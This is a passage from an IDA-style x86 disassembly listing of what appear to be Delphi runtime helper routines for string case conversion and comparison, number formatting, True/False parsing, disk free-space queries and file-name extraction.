		shr	edx, 10h
		div	bx
		mov	ebx, [ebp+arg_0]
		mov	[ecx], ax
		mov	[ebx], dx
		pop	ebx
		pop	ebp
		retn	4
sub_4000797C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007998	proc near		; CODE XREF: sub_4000828C+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_400073E4
		call	sub_4000B128
		call	sub_400042E4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007998	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400079BC	proc near		; CODE XREF: sub_4001145C+87p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, edx
		test	esi, esi
		jz	loc_40007A4C
		mov	edx, [esi-4]
		mov	edi, eax
		test	edx, edx
		jle	short loc_40007A4C
		mov	ecx, [eax]
		mov	ebx, edx
		test	ecx, ecx
		jz	short loc_400079FF
		test	edx, 3
		jnz	short loc_400079EE
		xor	edx, [ecx-4]
		cmp	edx, 3
		jbe	short loc_400079F9
		jmp	short loc_400079FF
; ---------------------------------------------------------------------------


loc_400079EE:				; CODE XREF: sub_400079BC+26j
		or	edx, 2
		xor	edx, [ecx-4]
		cmp	edx, 1
		ja	short loc_400079FF


loc_400079F9:				; CODE XREF: sub_400079BC+2Ej
		cmp	dword ptr [ecx-8], 1
		jz	short loc_40007A09


loc_400079FF:				; CODE XREF: sub_400079BC+1Ej
					; sub_400079BC+30j ...
		mov	edx, ebx
		or	edx, 3
		call	sub_40004F74


loc_40007A09:				; CODE XREF: sub_400079BC+41j
		mov	edi, [edi]
		mov	[edi-4], ebx
		mov	byte ptr [edi+ebx], 0
		add	ebx, 0FFFFFFFFh
		and	ebx, 0FFFFFFFCh
		mov	eax, [esi+ebx]


loc_40007A1B:				; CODE XREF: sub_400079BC+8Aj
		mov	ecx, eax
		or	eax, 80808080h
		mov	edx, eax
		sub	eax, 7B7B7B7Bh
		xor	edx, ecx
		or	eax, 80808080h
		sub	eax, 66666666h
		and	eax, edx
		shr	eax, 2
		xor	eax, ecx
		mov	[edi+ebx], eax
		mov	eax, [esi+ebx-4]
		sub	ebx, 4
		jge	short loc_40007A1B
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40007A4C:				; CODE XREF: sub_400079BC+9j
					; sub_400079BC+16j
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40004884
sub_400079BC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007A58	proc near		; CODE XREF: sub_4001145C+66p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	eax, edx
		test	esi, esi
		jz	loc_40007AE8
		mov	edx, [esi-4]
		mov	edi, eax
		test	edx, edx
		jle	short loc_40007AE8
		mov	ecx, [eax]
		mov	ebx, edx
		test	ecx, ecx
		jz	short loc_40007A9B
		test	edx, 3
		jnz	short loc_40007A8A
		xor	edx, [ecx-4]
		cmp	edx, 3
		jbe	short loc_40007A95
		jmp	short loc_40007A9B
; ---------------------------------------------------------------------------


loc_40007A8A:				; CODE XREF: sub_40007A58+26j
		or	edx, 2
		xor	edx, [ecx-4]
		cmp	edx, 1
		ja	short loc_40007A9B


loc_40007A95:				; CODE XREF: sub_40007A58+2Ej
		cmp	dword ptr [ecx-8], 1
		jz	short loc_40007AA5


loc_40007A9B:				; CODE XREF: sub_40007A58+1Ej
					; sub_40007A58+30j ...
		mov	edx, ebx
		or	edx, 3
		call	sub_40004F74


loc_40007AA5:				; CODE XREF: sub_40007A58+41j
		mov	edi, [edi]
		mov	[edi-4], ebx
		mov	byte ptr [edi+ebx], 0
		add	ebx, 0FFFFFFFFh
		and	ebx, 0FFFFFFFCh
		mov	eax, [esi+ebx]


loc_40007AB7:				; CODE XREF: sub_40007A58+8Aj
		mov	ecx, eax
		or	eax, 80808080h
		mov	edx, eax
		sub	eax, 5B5B5B5Bh
		xor	edx, ecx
		or	eax, 80808080h
		sub	eax, 66666666h
		and	eax, edx
		shr	eax, 2
		xor	eax, ecx
		mov	[edi+ebx], eax
		mov	eax, [esi+ebx-4]
		sub	ebx, 4
		jge	short loc_40007AB7
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40007AE8:				; CODE XREF: sub_40007A58+9j
					; sub_40007A58+16j
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40004884
sub_40007A58	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007AF4	proc near		; CODE XREF: sub_40007B90+14p
		test	eax, eax
		jnz	short loc_40007B02
		test	edx, edx
		jz	short locret_40007B01
		mov	eax, [edx-4]
		neg	eax

locret_40007B01:			; CODE XREF: sub_40007AF4+6j
		retn
; ---------------------------------------------------------------------------


loc_40007B02:				; CODE XREF: sub_40007AF4+2j
		test	edx, edx
		jnz	short loc_40007B0A
		mov	eax, [eax-4]
		retn
; ---------------------------------------------------------------------------


loc_40007B0A:				; CODE XREF: sub_40007AF4+10j
		push	ebx
		push	ebp
		push	esi
		mov	ebp, [eax-4]
		mov	ebx, [edx-4]
		sub	ebp, ebx
		sbb	ecx, ecx
		and	ecx, ebp
		add	ecx, ebx
		lea	esi, [ecx+eax]
		add	edx, ecx
		neg	ecx
		jz	short loc_40007B87


loc_40007B24:				; CODE XREF: sub_40007AF4+91j
		movzx	eax, word ptr [ecx+esi]
		movzx	ebx, word ptr [ecx+edx]
		cmp	eax, ebx
		jz	short loc_40007B82
		cmp	al, bl
		jz	short loc_40007B60
		mov	ah, 0
		mov	bh, 0
		cmp	al, 61h
		jl	short loc_40007B43
		cmp	al, 7Ah
		jg	short loc_40007B43
		sub	eax, 20h


loc_40007B43:				; CODE XREF: sub_40007AF4+46j
					; sub_40007AF4+4Aj
		cmp	bl, 61h
		jl	short loc_40007B50
		cmp	bl, 7Ah
		jg	short loc_40007B50
		sub	ebx, 20h


loc_40007B50:				; CODE XREF: sub_40007AF4+52j
					; sub_40007AF4+57j
		sub	eax, ebx
		jnz	short loc_40007B89
		movzx	eax, word ptr [ecx+esi]
		movzx	ebx, word ptr [ecx+edx]
		cmp	ah, bh
		jz	short loc_40007B82


loc_40007B60:				; CODE XREF: sub_40007AF4+3Ej
		shr	eax, 8
		shr	ebx, 8
		cmp	al, 61h
		jl	short loc_40007B71
		cmp	al, 7Ah
		jg	short loc_40007B71
		sub	eax, 20h


loc_40007B71:				; CODE XREF: sub_40007AF4+74j
					; sub_40007AF4+78j
		cmp	bl, 61h
		jl	short loc_40007B7E
		cmp	bl, 7Ah
		jg	short loc_40007B7E
		sub	ebx, 20h


loc_40007B7E:				; CODE XREF: sub_40007AF4+80j
					; sub_40007AF4+85j
		sub	eax, ebx
		jnz	short loc_40007B89


loc_40007B82:				; CODE XREF: sub_40007AF4+3Aj
					; sub_40007AF4+6Aj
		add	ecx, 2
		jl	short loc_40007B24


loc_40007B87:				; CODE XREF: sub_40007AF4+2Ej
		mov	eax, ebp


loc_40007B89:				; CODE XREF: sub_40007AF4+5Ej
					; sub_40007AF4+8Cj
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40007AF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40007B90	proc near		; CODE XREF: sub_40013618+1Bp
					; sub_40013CE4+64p
		cmp	eax, edx
		jz	short loc_40007BAD
		or	eax, eax
		jz	short locret_40007BAF
		or	edx, edx
		jz	short loc_40007BB0
		mov	ecx, [eax-4]
		cmp	ecx, [edx-4]
		jnz	short loc_40007BB0
		call	sub_40007AF4
		test	eax, eax
		jnz	short loc_40007BB0


loc_40007BAD:				; CODE XREF: sub_40007B90+2j
		mov	al, 1

locret_40007BAF:			; CODE XREF: sub_40007B90+6j
		retn
; ---------------------------------------------------------------------------


loc_40007BB0:				; CODE XREF: sub_40007B90+Aj
					; sub_40007B90+12j ...
		xor	eax, eax
		retn
sub_40007B90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007BB4	proc near		; CODE XREF: sub_4000A1CC+2B6p
					; sub_4000A1CC+2E0p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_40007BC7
		sub	ebx, 4
		mov	ebx, [ebx]


loc_40007BC7:				; CODE XREF: sub_40007BB4+Cj
		mov	esi, ebp
		test	esi, esi
		jz	short loc_40007BD2
		sub	esi, 4
		mov	esi, [esi]


loc_40007BD2:				; CODE XREF: sub_40007BB4+17j
		push	esi
		mov	eax, ebp
		call	sub_40004D48
		push	eax
		push	ebx
		mov	eax, edi
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007BF8	proc near		; CODE XREF: sub_4000A1CC+80p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, edi
		test	eax, eax
		jz	short loc_40007C0B
		sub	eax, 4
		mov	eax, [eax]


loc_40007C0B:				; CODE XREF: sub_40007BF8+Cj
		mov	esi, eax
		mov	ebx, 1
		jmp	short loc_40007C15
; ---------------------------------------------------------------------------


loc_40007C14:				; CODE XREF: sub_40007BF8+26j
		inc	ebx


loc_40007C15:				; CODE XREF: sub_40007BF8+1Aj
		cmp	esi, ebx
		jl	short loc_40007C20
		cmp	byte ptr [edi+ebx-1], 20h
		jbe	short loc_40007C14


loc_40007C20:				; CODE XREF: sub_40007BF8+1Fj
		cmp	esi, ebx
		jge	short loc_40007C2E
		mov	eax, ebp
		call	sub_40004884
		jmp	short loc_40007C44
; ---------------------------------------------------------------------------


loc_40007C2D:				; CODE XREF: sub_40007BF8+3Bj
		dec	esi


loc_40007C2E:				; CODE XREF: sub_40007BF8+2Aj
		cmp	byte ptr [edi+esi-1], 20h
		jbe	short loc_40007C2D
		push	ebp
		mov	ecx, esi
		sub	ecx, ebx
		inc	ecx
		mov	edx, ebx
		mov	eax, edi
		call	sub_40004DA8


loc_40007C44:				; CODE XREF: sub_40007BF8+33j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40007BF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007C4C	proc near		; CODE XREF: sub_40007C98+Bp
					; sub_40007DAC+13p ...
		or	cl, cl
		jnz	short loc_40007C67
		or	eax, eax
		jns	short sub_40007C62
		neg	eax
		call	sub_40007C62
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_40007C4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007C62	proc near		; CODE XREF: sub_40007C4C+6j
					; sub_40007C4C+Ap
		mov	ecx, 0Ah


loc_40007C67:				; CODE XREF: sub_40007C4C+2j
		push	edx
		push	esi


loc_40007C69:				; CODE XREF: sub_40007C62+1Bj
		xor	edx, edx
		div	ecx
		dec	esi
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_40007C79
		add	dl, 7


loc_40007C79:				; CODE XREF: sub_40007C62+12j
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_40007C69
		pop	ecx
		pop	edx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_40007C97
		add	ecx, edx
		mov	al, 30h
		sub	esi, edx
		jmp	short loc_40007C92
; ---------------------------------------------------------------------------


loc_40007C8F:				; CODE XREF: sub_40007C62+31j
		mov	[edx+esi], al


loc_40007C92:				; CODE XREF: sub_40007C62+2Bj
		dec	edx
		jnz	short loc_40007C8F
		mov	[esi], al

locret_40007C97:			; CODE XREF: sub_40007C62+23j
		retn
sub_40007C62	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007C98	proc near		; CODE XREF: sub_400116DC+C9p
					; sub_400116DC+E3p ...
		push	esi
		mov	esi, esp
		sub	esp, 10h
		xor	ecx, ecx
		push	edx
		xor	edx, edx
		call	sub_40007C4C
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 10h
		pop	esi
		retn
sub_40007C98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007CB8	proc near		; CODE XREF: sub_40007D84+11p
					; sub_4000843E+94j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		or	cl, cl
		jnz	short sub_40007CEC
		mov	ecx, 0Ah
		test	dword ptr [eax+4], 80000000h
		jz	short sub_40007CEC
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	eax, esp
		neg	[esp+8+var_8]
		adc	[esp+8+var_4], 0
		neg	[esp+8+var_4]
		call	sub_40007CEC
		mov	byte ptr [esi-1], 2Dh
		dec	esi
		inc	ecx
		add	esp, 8
		retn
sub_40007CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007CEC	proc near		; CODE XREF: sub_40007CB8+2j
					; sub_40007CB8+10j ...

var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= word ptr -6

		push	esi
		sub	esp, 4
		fnstcw	[esp+8+var_6]
		fnstcw	[esp+8+var_8]
		or	[esp+8+var_8], 0F00h
		fldcw	[esp+8+var_8]
		mov	[esp+8+var_8], cx
		fld1
		test	dword ptr [eax+4], 80000000h
		jz	short loc_40007D36
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		and	[esp+10h+var_C], 7FFFFFFFh
		push	7FFFFFFFh
		push	0FFFFFFFFh
		fild	qword ptr [esp+8]
		fild	[esp+18h+var_18]
		fadd	st, st(2)
		faddp	st(1), st
		add	esp, 10h
		jmp	short loc_40007D38
; ---------------------------------------------------------------------------


loc_40007D36:				; CODE XREF: sub_40007CEC+21j
		fild	qword ptr [eax]


loc_40007D38:				; CODE XREF: sub_40007CEC+48j
		fild	[esp+8+var_8]
		fld	st(1)


loc_40007D3D:				; CODE XREF: sub_40007CEC+6Ej
		dec	esi
		fprem
		fistp	[esp+8+var_8]
		fdiv	st(1), st
		mov	al, byte ptr [esp+8+var_8]
		add	al, 30h
		cmp	al, 3Ah
		jb	short loc_40007D50
		add	al, 7


loc_40007D50:				; CODE XREF: sub_40007CEC+60j
		mov	[esi], al
		fld	st(1)
		fcom	st(3)
		fstsw	ax
		sahf
		jnb	short loc_40007D3D
		fldcw	[esp+8+var_6]
		add	esp, 4
		ffree	st(3)
		ffree	st(2)
		ffree	st(1)
		ffree	st
		pop	ecx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_40007D82
		sub	esi, edx
		mov	al, 30h
		add	ecx, edx
		jmp	short loc_40007D7D
; ---------------------------------------------------------------------------


loc_40007D7A:				; CODE XREF: sub_40007CEC+92j
		mov	[edx+esi], al


loc_40007D7D:				; CODE XREF: sub_40007CEC+8Cj
		dec	edx
		jnz	short loc_40007D7A
		mov	[esi], al

locret_40007D82:			; CODE XREF: sub_40007CEC+84j
		retn
sub_40007CEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007D84	proc near		; CODE XREF: sub_400116DC+20Ep
					; sub_400116DC+22Bp ...

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		sub	esp, 20h
		xor	ecx, ecx
		push	eax
		xor	edx, edx
		lea	eax, [ebp+arg_0]
		call	sub_40007CB8
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 20h
		pop	esi
		pop	ebp
		retn	8
sub_40007D84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DAC	proc near		; CODE XREF: sub_4001293C+CDp
		cmp	edx, 20h
		jbe	short loc_40007DB3
		xor	edx, edx


loc_40007DB3:				; CODE XREF: sub_40007DAC+3j
		push	esi
		mov	esi, esp
		sub	esp, 20h
		push	ecx
		mov	ecx, 10h
		call	sub_40007C4C
		mov	edx, esi
		pop	eax
		call	sub_40004974
		add	esp, 20h
		pop	esi
		retn
sub_40007DAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DD4	proc near		; CODE XREF: sub_4000AA7C+3Ep
					; sub_4000AAF4+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_4000379C
		cmp	[esp+8+var_8], 0
		jz	short loc_40007DE7
		mov	eax, ebx


loc_40007DE7:				; CODE XREF: sub_40007DD4+Fj
		pop	edx
		pop	ebx
		retn
sub_40007DD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007DEC	proc near		; CODE XREF: sub_4000CE4C+35p
					; sub_4000EBF8+61p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000379C
		mov	[esi], eax
		cmp	[esp+0Ch+var_C], 0
		setz	al
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40007DEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40007E0C	proc near		; CODE XREF: sub_4000F6A8+3Ap

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_40005754
		mov	[esi], eax
		mov	[esi+4], edx
		cmp	[esp+0Ch+var_C], 0
		setz	al
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40007E0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40007E2C	proc near		; CODE XREF: sub_40007F40:loc_40007F6Fp
					; sub_40007FDC+Ap
		mov	eax, ds:dword_4001E910
		call	sub_4000596C
		test	eax, eax
		jnz	short loc_40007E63
		push	1
		mov	eax, offset dword_4001E910
		mov	ecx, 1
		mov	edx, ds:off_400077D8
		call	sub_40005B28
		add	esp, 4
		mov	eax, ds:dword_4001E910
		mov	edx, offset aTrue ; "True"
		call	sub_400048D8


loc_40007E63:				; CODE XREF: sub_40007E2C+Cj
		mov	eax, ds:dword_4001E914
		call	sub_4000596C
		test	eax, eax
		jnz	short locret_40007E9A
		push	1
		mov	eax, offset dword_4001E914
		mov	ecx, 1
		mov	edx, ds:off_400077FC
		call	sub_40005B28
		add	esp, 4
		mov	eax, ds:dword_4001E914
		mov	edx, offset aFalse ; "False"
		call	sub_400048D8

locret_40007E9A:			; CODE XREF: sub_40007E2C+43j
		retn
sub_40007E2C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 4
aTrue		db 'True',0             ; DATA XREF: sub_40007E2C+2Do
		align 4
		dd 0FFFFFFFFh, 5
aFalse		db 'False',0            ; DATA XREF: sub_40007E2C+64o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007EBC	proc near		; CODE XREF: sub_40007F40+46p
					; sub_40007F40+69p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		test	edx, edx
		jl	short loc_40007F33
		inc	edx
		mov	[ebp+var_C], edx
		mov	ebx, eax


loc_40007ED3:				; CODE XREF: sub_40007EBC+75j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		mov	esi, [ebp+var_10]
		test	esi, esi
		jz	short loc_40007EED
		sub	esi, 4
		mov	esi, [esi]


loc_40007EED:				; CODE XREF: sub_40007EBC+2Aj
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	short loc_40007EF9
		sub	edi, 4
		mov	edi, [edi]


loc_40007EF9:				; CODE XREF: sub_40007EBC+36j
		push	edi
		mov	eax, [ebp+var_14]
		call	sub_40004D48
		push	eax
		push	esi
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		setz	al
		test	al, al
		jz	short loc_40007F2B
		mov	[ebp+var_1], 1
		jmp	short loc_40007F33
; ---------------------------------------------------------------------------


loc_40007F2B:				; CODE XREF: sub_40007EBC+67j
		add	ebx, 4
		dec	[ebp+var_C]
		jnz	short loc_40007ED3


loc_40007F33:				; CODE XREF: sub_40007EBC+Fj
					; sub_40007EBC+6Dj
		movzx	eax, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40007EBC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40007F40	proc near		; CODE XREF: sub_4000D068+3Bp
					; sub_4000FCA4+6Cp

var_10		= tbyte	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_40008E74
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007F6F
		fld	[ebp+var_10]
		fcomp	ds:flt_40007FC0
		fstsw	ax
		sahf
		setnz	byte ptr [ebx]
		jmp	short loc_40007FB8
; ---------------------------------------------------------------------------


loc_40007F6F:				; CODE XREF: sub_40007F40+1Bj
		call	sub_40007E2C
		push	ebp
		mov	eax, ds:dword_4001E910
		call	sub_40005974
		mov	edx, eax
		mov	eax, ds:dword_4001E910
		call	sub_40007EBC
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007F97
		mov	byte ptr [ebx],	1
		jmp	short loc_40007FB8
; ---------------------------------------------------------------------------


loc_40007F97:				; CODE XREF: sub_40007F40+50j
		push	ebp
		mov	eax, ds:dword_4001E914
		call	sub_40005974
		mov	edx, eax
		mov	eax, ds:dword_4001E914
		call	sub_40007EBC
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_40007FB8
		mov	byte ptr [ebx],	0


loc_40007FB8:				; CODE XREF: sub_40007F40+2Dj
					; sub_40007F40+55j ...
		mov	eax, edx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40007F40	endp

; ---------------------------------------------------------------------------
		align 10h
flt_40007FC0	dd 0.0			; DATA XREF: sub_40007F40+20r
		dd 0FFFFFFFFh, 1
dword_40007FCC	dd 30h,	0FFFFFFFFh, 2, 312Dh					; .data:4001A858o

; =============== S U B	R O U T	I N E =======================================



sub_40007FDC	proc near		; CODE XREF: sub_4000D1CC+3Cp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		test	dl, dl
		jz	short loc_40008012
		call	sub_40007E2C
		test	bl, bl
		jz	short loc_40008000
		mov	eax, esi
		mov	edx, ds:dword_4001E910
		mov	edx, [edx]
		call	sub_400048D8
		jmp	short loc_40008023
; ---------------------------------------------------------------------------


loc_40008000:				; CODE XREF: sub_40007FDC+11j
		mov	eax, esi
		mov	edx, ds:dword_4001E914
		mov	edx, [edx]
		call	sub_400048D8
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40008012:				; CODE XREF: sub_40007FDC+8j
		mov	eax, esi
		movzx	edx, bl
		mov	edx, off_4001A854[edx*4]
		call	sub_400048D8


loc_40008023:				; CODE XREF: sub_40007FDC+22j
		pop	esi
		pop	ebx
		retn
sub_40007FDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008028	proc near		; CODE XREF: sub_40015E94+11p
					; sub_40015E94+2Ep
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, esi
		test	eax, eax
		jz	short loc_40008037
		sub	eax, 4
		mov	eax, [eax]


loc_40008037:				; CODE XREF: sub_40008028+8j
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40008054
		jmp	short loc_40008040
; ---------------------------------------------------------------------------


loc_4000803F:				; CODE XREF: sub_40008028+23j
		dec	ebx


loc_40008040:				; CODE XREF: sub_40008028+15j
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000B914
		cmp	al, 2
		jz	short loc_4000803F
		lea	eax, [esi+ebx-1]
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40008054:				; CODE XREF: sub_40008028+13j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40008028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000805C	proc near		; CODE XREF: sub_400080B0+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000806F
		sub	eax, 4
		mov	eax, [eax]


loc_4000806F:				; CODE XREF: sub_4000805C+Cj
		mov	edi, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	ebp, eax
		test	edi, edi
		jle	short loc_400080A7


loc_4000807E:				; CODE XREF: sub_4000805C+49j
		movzx	ebx, byte ptr [esi+edi-1]
		test	bl, bl
		jz	short loc_400080A2
		mov	edx, ebx
		mov	eax, ebp
		call	sub_40008224
		test	eax, eax
		jz	short loc_400080A2
		mov	edx, edi
		mov	eax, esi
		call	sub_4000B914
		cmp	al, 2
		jnz	short loc_400080A7
		dec	edi


loc_400080A2:				; CODE XREF: sub_4000805C+29j
					; sub_4000805C+36j
		dec	edi
		test	edi, edi
		jg	short loc_4000807E


loc_400080A7:				; CODE XREF: sub_4000805C+20j
					; sub_4000805C+43j
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000805C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400080B0	proc near		; CODE XREF: sub_4000B488+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_400080E4
		call	sub_4000805C
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_40004DA8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400080B0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_400080E4	dd 3A5Ch	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400080E8	proc near		; DATA XREF: sub_4000C4D8+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_400080F8
		xor	eax, eax


loc_400080F8:				; CODE XREF: sub_400080E8+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	sub_40006570	; GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_4000569C
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_4000569C
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_400080E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000815C	proc near		; CODE XREF: sub_4000868C+16p
					; sub_4000ADE0+BDp ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_4000815C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008174	proc near		; CODE XREF: sub_4000828C+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_40002DFC
		mov	eax, esi
		pop	esi
		retn
sub_40008174	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008184	proc near		; CODE XREF: sub_400081B8+1Fp
					; sub_4000ADE0+91p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_40008198
		repne scasb
		jnz	short loc_40008198
		inc	ecx


loc_40008198:				; CODE XREF: sub_40008184+Dj
					; sub_40008184+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
